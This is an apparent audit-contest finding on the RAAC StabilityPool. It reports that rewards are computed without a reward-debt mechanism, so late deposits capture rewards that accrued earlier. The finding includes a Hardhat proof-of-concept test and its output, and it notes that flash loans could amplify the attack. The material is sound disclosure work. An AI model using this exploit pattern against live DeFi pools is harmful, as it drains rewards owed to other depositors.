Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Lack of Reward Debt Mechanism Enables Reward Manipulation in StabilityPool

Summary

The StabilityPool contract's calculateRaacRewards function computes RAAC rewards as (totalRewards * userDeposits[user]) / deToken.totalSupply(), using the current RAAC balance (totalRewards) without a reward debt or snapshot mechanism. This allows users to deposit RTokens late, claim a disproportionate share of rewards accrued over time, and withdraw, exploiting the system. A test case demonstrated this vulnerability: an attacker depositing 100 RTokens after 6 days into a 7-day period received 2.354 RAACToken, exceeding User1's 2.208 RAACToken despite only 1 day of participation, contrary to the expected outcome where earlier depositors should earn more.

Vulnerability Details

The vulnerability arises in the calculateRaacRewards function, which distributes RAAC rewards proportionally to a user's current deposit (userDeposits[user]) relative to the total DEToken supply, based on the pool's RAAC balance at the time of withdrawal. The RAACMinter contract, integrated via the tick() function called during deposits and withdrawals, mints RAAC tokens to the StabilityPool based on blocks elapsed (e.g., ~1000 RAAC/day), accumulating rewards over time. However, without tracking accumulated rewards per user over the participation period (reward debt) or using snapshots, late depositors can claim rewards for the entire period’s accumulation.

The final test case illustrates this issue:

describe("RAAC Rewards Manipulation", function () {
it("StabilityPool - should demonstrate reward manipulation by late deposit", async function () {
// Mint initial tokens and setup approvals
const initialBalance = ethers.parseEther("1000");
await crvusd.mint(attacker.address, initialBalance);
await crvusd.connect(attacker).approve(lendingPool.target, initialBalance);
await lendingPool.connect(attacker).deposit(initialBalance);
await rToken.connect(attacker).approve(stabilityPool.target, initialBalance);
// User1 deposits RTokens at t=0
const depositAmount1 = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(depositAmount1);
console.log("User1's initial deposit:", depositAmount1.toString());
// Advance time by 6 days and trigger RAACMinter tick
await ethers.provider.send("evm_increaseTime", [6 * 86400]); // 6 days
await ethers.provider.send("evm_mine");
await raacMinter.connect(owner).tick(); // Mint RAAC rewards to StabilityPool
const rewardsAfter6Days = await raacToken.balanceOf(stabilityPool.target);
console.log("RAAC rewards in pool after 6 days:", rewardsAfter6Days.toString());
// Attacker deposits RTokens late at t=6 days
const depositAmountAttacker = ethers.parseEther("100");
await stabilityPool.connect(attacker).deposit(depositAmountAttacker);
console.log("Attacker's late deposit:", depositAmountAttacker.toString());
// Advance time by 1 day to t=7 days and trigger RAACMinter tick
await ethers.provider.send("evm_increaseTime", [86400]); // 1 day
await ethers.provider.send("evm_mine");
await raacMinter.connect(owner).tick(); // Add final rewards
const totalRewards = await raacToken.balanceOf(stabilityPool.target);
console.log("Total RAAC rewards in pool at t=7 days:", totalRewards.toString());
console.log("Total DEToken supply:", (await deToken.totalSupply()).toString());
// Record initial RAAC balances
const initialBalance1 = await raacToken.balanceOf(user1.address);
const initialBalanceAttacker = await raacToken.balanceOf(attacker.address);
// Both withdraw to claim rewards
await stabilityPool.connect(user1).withdraw(depositAmount1);
await stabilityPool.connect(attacker).withdraw(depositAmountAttacker);
// Final balances
const finalBalance1 = await raacToken.balanceOf(user1.address);
const finalBalanceAttacker = await raacToken.balanceOf(attacker.address);
// Calculate actual rewards
const reward1 = finalBalance1 - initialBalance1;
const rewardAttacker = finalBalanceAttacker - initialBalanceAttacker;
console.log("User1's actual reward:", reward1.toString());
console.log("Attacker's actual reward:", rewardAttacker.toString());
expect(reward1).to.be.gt(rewardAttacker);
});
});

Test Results:

StabilityPool
Core Functionality
RAAC Rewards Manipulation
User1's initial deposit: 100000000000000000000
RAAC rewards in pool after 6 days: 3840277777777777764
Attacker's late deposit: 100000000000000000000
Total RAAC rewards in pool at t=7 days: 4270833333333333316
Total DEToken supply: 200000000000000000000
User1's actual reward: 2208333333333333324
Attacker's actual reward: 2354166666666666656
1\) StabilityPool - should demonstrate reward manipulation by late deposit
0 passing (12s)
1 failing
1. StabilityPool
Core Functionality
RAAC Rewards Manipulation
StabilityPool - should demonstrate reward manipulation by late deposit:
AssertionError: expected 2208333333333333324 to be above 2354166666666666656.
* expected - actual
-2208333333333333324
+2354166666666666656
  • Execution:

    • User1 deposits 100 RTokens at t=0, accumulating rewards for 7 days.

    • After 6 days, raacMinter.tick() mints 3840277777777777764 RAACToken.

    • Attacker deposits 100 RTokens at t=6 days, participating for 1 day.

    • At t=7 days, both withdraw, claiming User1: 2208333333333333324, Attacker: 2354166666666666656.

  • Observation:

    • Attacker receives more rewards (2.354 vs. 2.208) despite only 1/7th the participation time, failing the assertion expect(reward1).to.be.gt(rewardAttacker).

Root Cause: The absence of a reward debt or snapshot mechanism in calculateRaacRewards allows late depositors to claim rewards based on the entire accumulated RAAC balance, not their time-weighted contribution.

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/pools/StabilityPool/StabilityPool.sol#L251-L259

Impact

  • Fairness: Early depositors earn fewer rewards than late depositors, undermining the incentive for long-term participation.

  • Economic: Attackers can use flash loans to deposit large amounts late, claim outsized rewards, and withdraw, potentially draining the pool’s RAAC reserves.

  • Trust: Unfair reward distribution risks eroding user confidence, reducing staking and protocol adoption.

Tools Used

Manual, Hardhat test

Recommendations

Track RAAC rewards per DEToken share, updating user debt on deposit/withdrawal to ensure rewards match participation duration.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.